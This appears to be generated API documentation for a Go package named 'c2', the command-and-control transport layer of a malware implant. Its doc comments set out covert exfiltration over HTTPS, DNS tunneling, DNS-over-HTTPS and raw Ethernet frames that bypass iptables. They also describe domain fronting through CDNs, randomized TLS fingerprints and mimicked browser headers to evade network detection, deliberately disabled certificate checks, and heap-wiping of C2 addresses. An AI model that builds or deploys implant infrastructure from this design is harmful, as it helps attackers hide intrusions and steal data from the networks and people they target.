Documentation
¶
Overview ¶
Package c2 implements the command-and-control transport layer with multi-channel support (HTTPS, DNS tunneling, DNS-over-HTTPS, raw Layer 2), polymorphic beacon profiles, JA3 fingerprint randomization, and AES-256-GCM encrypted communications.
Index ¶
- Variables
- func AddNoise(data []byte) ([]byte, error)
- func ApplyFronting(req *http.Request, frontDomain string, actualHost string)
- func CryptoRandIntn(n int) int
- func DecodeResponse(data []byte, sessionKey []byte) (*config.BeaconResponse, error)
- func DecryptAESGCM(data, key []byte) ([]byte, error)
- func EncodeBeacon(beacon *config.Beacon, sessionKey []byte) ([]byte, error)
- func L2Available() bool
- func MimicBrowserHeaders(req *http.Request)
- func NewFrontedClient(frontDomain string, timeout time.Duration) *http.Client
- func PerformKeyExchange(serverPubKey []byte) (sessionKey []byte, clientPubKeyBytes []byte, err error)
- func RandomBrowserUA(browser string) string
- func RandomizedTLSConfig() *tls.Config
- func ShapePayload(data []byte, targetSize int) ([]byte, error)
- func ShuffleCiphers(ciphers []uint16) []uint16
- func StripNoise(data []byte) ([]byte, error)
- func UnshapePayload(data []byte) ([]byte, error)
- type BeaconProfile
- type DNSTransport
- type DoHTransport
- type HTTPSTransport
- type L2Channel
- func (ch *L2Channel) Close() error
- func (ch *L2Channel) Recv() ([]byte, net.HardwareAddr, error)
- func (ch *L2Channel) Send(payload []byte) error
- func (ch *L2Channel) SendRecv(payload []byte) ([]byte, error)
- func (ch *L2Channel) SetPromiscuous(enable bool) error
- func (ch *L2Channel) SetRecvTimeout(seconds int, useconds int) error
- type L2Config
- type PolymorphicBeacon
- type Transport
- type TransportManager
Constants ¶
This section is empty.
Variables ¶
var PayloadSizeBuckets = []int{512, 1024, 2048, 4096, 8192}
PayloadSizeBuckets defines common payload sizes used for traffic shaping. Payloads are padded to the nearest bucket to prevent size-based fingerprinting.
Functions ¶
func AddNoise ¶
AddNoise prepends a 4-byte big-endian length header and appends a random amount of random padding (16-256 bytes) to data. The length header allows StripNoise to recover the original data.
func ApplyFronting ¶
ApplyFronting configures an HTTP request for domain fronting. The TLS SNI is set to frontDomain (a legitimate CDN), while the Host header is set to actualHost (the real C2 server hostname). This causes the CDN to route the request to the C2 backend while network observers see only the legitimate CDN domain.
func CryptoRandIntn ¶
CryptoRandIntn returns a cryptographically secure random int in [0, n). Uses rejection sampling to eliminate modular bias.
func DecodeResponse ¶
func DecodeResponse(data []byte, sessionKey []byte) (*config.BeaconResponse, error)
DecodeResponse decrypts an AES-GCM encrypted payload and deserializes the resulting JSON into a BeaconResponse.
func DecryptAESGCM ¶
DecryptAESGCM decrypts an AES-256-GCM payload (exported for use by other packages). Expected input format: nonce (12 bytes) || ciphertext+tag.
func EncodeBeacon ¶
EncodeBeacon serializes a Beacon to JSON and encrypts it with AES-GCM using the provided session key. The returned ciphertext is:
nonce (12 bytes) || ciphertext || tag (16 bytes)
func L2Available ¶
func L2Available() bool
L2Available checks if AF_PACKET sockets are available (requires CAP_NET_RAW).
func MimicBrowserHeaders ¶
MimicBrowserHeaders sets realistic browser headers on an HTTP request to make C2 traffic blend in with normal web browsing activity.
func NewFrontedClient ¶
NewFrontedClient creates an HTTP client configured for domain fronting. The TLS SNI is locked to frontDomain regardless of the request target, ensuring all connections appear to go to the legitimate CDN.
NOTE: TLS certificate verification is intentionally disabled (InsecureSkipVerify=true). Domain fronting requires connecting to a CDN IP while presenting the C2 hostname in the Host header; the CDN's certificate will not match the actual C2 domain, so standard certificate validation would always fail. This is a deliberate trade-off for C2 operational requirements — do not enable verification without a full rearchitect of the fronting trust model.
func PerformKeyExchange ¶
func PerformKeyExchange(serverPubKey []byte) (sessionKey []byte, clientPubKeyBytes []byte, err error)
PerformKeyExchange executes an ECDH P-256 key exchange with the server. It generates an ephemeral client key pair, computes the shared secret from the server's public key, and returns the 32-byte session key along with the client's compressed public key bytes for transmission.
func RandomBrowserUA ¶
RandomBrowserUA returns a random User-Agent string for the given browser profile. If the browser is unknown, a random Chrome UA is returned. This should be used alongside RandomizedTLSConfig to keep the HTTP-layer and TLS-layer fingerprints consistent.
func RandomizedTLSConfig ¶
RandomizedTLSConfig returns a tls.Config with randomized parameters that produce a different JA3 hash each call. The cipher suite order, curve preferences, and SNI are all varied to prevent NDR tools from building a stable fingerprint of the implant's TLS stack.
func ShapePayload ¶
ShapePayload pads data to the nearest size bucket with a 4-byte big-endian length prefix so the original data can be recovered by UnshapePayload. If targetSize is 0, the data is padded to the nearest bucket that fits the length header + data. Padding bytes are cryptographically random.
func ShuffleCiphers ¶
ShuffleCiphers performs a Fisher-Yates shuffle on a cipher suite slice, returning the shuffled result. The input slice is modified in place and also returned for convenience.
func StripNoise ¶
StripNoise removes the noise padding added by AddNoise by reading the 4-byte big-endian length prefix.
func UnshapePayload ¶
UnshapePayload extracts the original data from a ShapePayload output by reading the 4-byte big-endian length prefix.
Types ¶
type BeaconProfile ¶
type BeaconProfile struct {
Method string
Path string
ContentType string
Accept string
UserAgent string
Headers map[string]string
}
BeaconProfile defines the HTTP characteristics for a single beacon cycle.
type DNSTransport ¶
type DNSTransport struct {
// contains filtered or unexported fields
}
DNSTransport implements the Transport interface using DNS TXT record queries for covert data exfiltration and command reception.
func NewDNSTransport ¶
func NewDNSTransport(domains []string) *DNSTransport
NewDNSTransport creates a DNS tunneling transport that rotates through the provided C2 domains.
func (*DNSTransport) Close ¶
func (d *DNSTransport) Close() error
Close is a no-op for DNS transport as there are no persistent connections.
func (*DNSTransport) FlushConnections ¶
func (d *DNSTransport) FlushConnections()
FlushConnections is a no-op for DNS transport as there are no persistent TCP connections to flush.
type DoHTransport ¶
type DoHTransport struct {
// contains filtered or unexported fields
}
DoHTransport implements the Transport interface using DNS-over-HTTPS. It sends DNS queries over HTTPS to well-known DoH resolvers (Cloudflare, Google), bypassing traditional DNS monitoring infrastructure.
func NewDoHTransport ¶
func NewDoHTransport(resolvers []string, domains []string) *DoHTransport
NewDoHTransport creates a DNS-over-HTTPS transport. resolvers are DoH endpoint URLs (e.g. "https://1.1.1.1/dns-query"). domains are the C2 domains used for DNS tunneling.
func (*DoHTransport) Close ¶
func (d *DoHTransport) Close() error
Close releases resources held by the DoH HTTP client.
func (*DoHTransport) FlushConnections ¶
func (d *DoHTransport) FlushConnections()
FlushConnections closes idle connections on the DoH HTTP client.
type HTTPSTransport ¶
type HTTPSTransport struct {
// contains filtered or unexported fields
}
HTTPSTransport implements the Transport interface over HTTPS. It supports domain fronting, server rotation, and proxy detection.
func NewHTTPSTransport ¶
func NewHTTPSTransport(serversFn func() [][]byte, frontingDomain string, frontingHost string, implantID string) *HTTPSTransport
NewHTTPSTransport creates an HTTPS transport with domain fronting support. servers is the list of C2 endpoints to rotate through on failure.
func (*HTTPSTransport) Close ¶
func (h *HTTPSTransport) Close() error
Close releases resources held by the HTTP client.
func (*HTTPSTransport) FlushConnections ¶
func (h *HTTPSTransport) FlushConnections()
FlushConnections closes all idle connections and forces the next request to establish a fresh TCP+TLS session, clearing URL strings from heap.
func (*HTTPSTransport) Send ¶
func (h *HTTPSTransport) Send(data []byte) ([]byte, error)
Send transmits data to the current C2 server via HTTPS POST. On failure it rotates to the next server in the list. The server URLs are obtained as [][]byte and shredded after use so that decrypted C2 addresses do not persist on the heap.
type L2Channel ¶
type L2Channel struct {
// contains filtered or unexported fields
}
L2Channel provides a raw Ethernet frame C2 channel.
func NewL2Channel ¶
NewL2Channel creates a raw AF_PACKET socket bound to a specific interface.
func (*L2Channel) Close ¶
Close shuts down the L2 channel. Only acquires sendMu (not recvMu) to avoid deadlock when Recv is blocked in Recvfrom. Closing the fd causes blocked Recvfrom to return EBADF, which unblocks Recv naturally.
func (*L2Channel) Recv ¶
func (ch *L2Channel) Recv() ([]byte, net.HardwareAddr, error)
Recv receives the next Ethernet frame and returns the payload (without header). Blocks until a frame arrives or the socket is closed.
func (*L2Channel) Send ¶
Send transmits a raw Ethernet frame with the given payload. The frame bypasses all netfilter/iptables processing.
func (*L2Channel) SendRecv ¶
SendRecv sends a payload and waits for a response. Simple request-response pattern.
func (*L2Channel) SetPromiscuous ¶
SetPromiscuous enables or disables promiscuous mode on the bound interface. In promiscuous mode we see ALL frames, not just those addressed to our MAC. Useful for passive listening or when the C2 server uses broadcast/multicast.
type L2Config ¶
type L2Config struct {
Interface string // Network interface name (e.g., "eth0")
DstMAC net.HardwareAddr // Destination MAC address (C2 server's MAC)
EtherType uint16 // Custom EtherType (default: 0x88B5)
}
L2Config controls the raw L2 channel behavior.
type PolymorphicBeacon ¶
type PolymorphicBeacon struct {
// contains filtered or unexported fields
}
PolymorphicBeacon rotates HTTP profiles each beacon cycle.
func NewPolymorphicBeacon ¶
func NewPolymorphicBeacon() *PolymorphicBeacon
NewPolymorphicBeacon creates a beacon that rotates profiles.
func (*PolymorphicBeacon) NextProfile ¶
func (pb *PolymorphicBeacon) NextProfile() BeaconProfile
NextProfile returns the HTTP profile for the next beacon cycle. Each call returns a different combination of path, content-type, headers.
type Transport ¶
type Transport interface {
// Send transmits data to the C2 server and returns the response.
Send(data []byte) ([]byte, error)
// Close tears down the transport and releases resources.
Close() error
// FlushConnections closes idle connections to prevent URL strings
// from persisting in heap via connection state.
FlushConnections()
}
Transport defines the interface for all C2 communication channels. Implementations must be safe for concurrent use.
type TransportManager ¶
type TransportManager struct {
// contains filtered or unexported fields
}
TransportManager manages primary and fallback transports, providing automatic failover when the primary channel is unavailable.
func NewTransportManager ¶
func NewTransportManager(cfg *config.ImplantConfig) *TransportManager
NewTransportManager creates a TransportManager with HTTPS as primary and DNS/DoH as fallback transports based on the implant configuration. The plain-string C2 server list is converted to [][]byte so the HTTPS transport can shred decrypted URLs after each use.
func NewTransportManagerFromResolver ¶
func NewTransportManagerFromResolver(serversFn func() [][]byte, cfg *config.ImplantConfig) *TransportManager
NewTransportManagerFromResolver creates a TransportManager using a resolver function for HTTPS server URLs. This allows the caller to provide URLs from an encrypted source (e.g., ProtectedConfig) so they are only decrypted briefly during each Send() call rather than stored in cleartext.
func (*TransportManager) Close ¶
func (tm *TransportManager) Close() error
Close shuts down all managed transports.
func (*TransportManager) FlushConnections ¶
func (tm *TransportManager) FlushConnections()
FlushConnections flushes idle connections on all managed transports.
func (*TransportManager) SendWithFallback ¶
func (tm *TransportManager) SendWithFallback(data []byte) ([]byte, error)
SendWithFallback attempts to send data via the primary transport. On failure it iterates through fallback transports (DNS, DoH) until one succeeds or all are exhausted.